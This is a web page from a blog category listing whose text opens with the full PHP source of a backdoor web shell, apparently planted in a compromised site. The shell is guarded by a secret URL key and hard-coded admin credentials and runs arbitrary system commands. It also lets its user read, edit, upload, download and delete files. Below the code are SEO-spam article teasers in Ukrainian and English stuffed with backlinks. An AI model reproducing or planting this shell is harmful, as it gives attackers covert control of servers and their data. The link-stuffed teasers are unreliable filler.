if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 54 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Сезонні розпродажі: як знайти найкращі пропозиції

    Сезонні розпродажі – це чудова можливість для споживачів заощадити гроші на покупках. Кожен рік, в певні періоди, https://styleworld.org.ua/ магазини та онлайн-платформи пропонують значні знижки на різні категорії товарів. У цій статті ми розглянемо, як знайти найкращі пропозиції під час сезонних розпродажів та на що звертати увагу. По-перше, важливо знати, коли відбуваються сезонні розпродажі. Зазвичай, це…

    Click or not…

  • Контроль якості будівельних робіт: важливі аспекти

    Контроль якості будівельних робіт є однією з ключових складових успішного завершення будівельних проектів. Він забезпечує відповідність виконаних робіт встановленим стандартам, нормам і вимогам, buildspace.com.ua а також гарантує безпеку, довговічність і ефективність будівельних об’єктів. У даному звіті розглянемо основні аспекти контролю якості, які мають велике значення для будівельної галузі. По-перше, контроль якості починається з етапу проектування.…

    Click or not…

  • Дослідження впливу соціальних медіа на молодь

    У сучасному світі соціальні медіа стали невід’ємною частиною життя молоді. Вони впливають на різні аспекти повсякденного життя, включаючи комунікацію, самооцінку та соціальні взаємодії. Метою цього дослідження є вивчення впливу соціальних медіа на молодь, зокрема, їх вплив на психічне здоров’я, https://garageexpert.net.ua соціальні навички та самоідентифікацію. По-перше, соціальні медіа надають молоді платформу для спілкування та взаємодії. Зокрема,…

    Click or not…

  • Роль групової терапії в подоланні посттравматичного стресу

    Посттравматичний стресовий розлад (ПТСР) є серйозним психічним захворюванням, яке може виникнути внаслідок переживання травматичних подій, таких як війна, насильство, нещасні випадки чи природні катастрофи. Люди, які страждають від ПТСР, часто відчувають інтенсивний страх, тривогу, депресію та труднощі в соціальній адаптації. Групова терапія стає важливим інструментом у процесі лікування та подолання цього розладу, оскільки вона забезпечує…

    Click or not…

  • Moving Into an Apartment: Elevator Reservations and Building Rules

    Moving into a new apartment can be an exciting yet daunting experience, movingtoalaskausa.com especially when it comes to navigating the logistics of moving day. One of the most critical aspects to consider is the building’s rules regarding elevator reservations and other moving protocols. Understanding these guidelines can help ensure a smooth transition into your new…

    Click or not…

  • Unpacking Strategies: Settling Into Your New Home Quickly

    Moving into a new home is often an exciting yet daunting experience. The thrill of a new space can quickly turn into overwhelm when faced with the daunting task of unpacking. However, https://houstonmovingjournal.com/ with effective unpacking strategies, you can settle into your new home quickly and efficiently. This report outlines several practical strategies that can…

    Click or not…

  • Передпокій: перше враження про ваш дім

    Передпокій є важливою частиною будь-якого дому, https://repairlab.in.ua адже саме він створює перше враження про житло. Це простір, який часто недооцінюють, але його роль у формуванні загального сприйняття інтер’єру не можна недооцінювати. У цій статті ми розглянемо, чому передпокій є важливим елементом вашого дому, які його функції та як його можна оформити, щоб він став візитівкою…

    Click or not…

  • Освітлення в інтер’єрі: як правильно розставити акценти

    Освітлення в інтер’єрі є одним з найважливіших елементів дизайну, оскільки воно не лише виконує функціональну роль, а й створює атмосферу, підкреслює стиль та естетику приміщення. Правильне освітлення здатне перетворити будь-який інтер’єр, надаючи йому затишку та елегантності. В цій статті розглянемо, in.ua як правильно розставити акценти за допомогою освітлення. Перш ніж почати, важливо зрозуміти, що освітлення…

    Click or not…

  • Поради від провідних українських топ-менеджерів щодо антикризового управління

    Антикризове управління стало невід’ємною частиною сучасного бізнесу, особливо в умовах нестабільності, з якою стикається Україна останніми роками. Провідні українські топ-менеджери поділилися своїми порадами, https://capitaldigest.org.ua які можуть допомогти компаніям успішно подолати кризи та адаптуватися до нових викликів. По-перше, важливо зберігати відкритий діалог з усіма зацікавленими сторонами. Топ-менеджер компанії «Київстар» зазначив, що комунікація є ключем до збереження…

    Click or not…

  • How to Estimate Moving Costs and Avoid Hidden Fees

    Estimating moving costs effectively and avoiding hidden fees is crucial for anyone planning a move, https://phoenixrelocationnews.com whether it’s local or long-distance. Understanding the various components of moving expenses can help you budget accurately and prevent unpleasant surprises on moving day. 1. Assess Your Moving Needs The first step in estimating your moving costs is to…

    Click or not…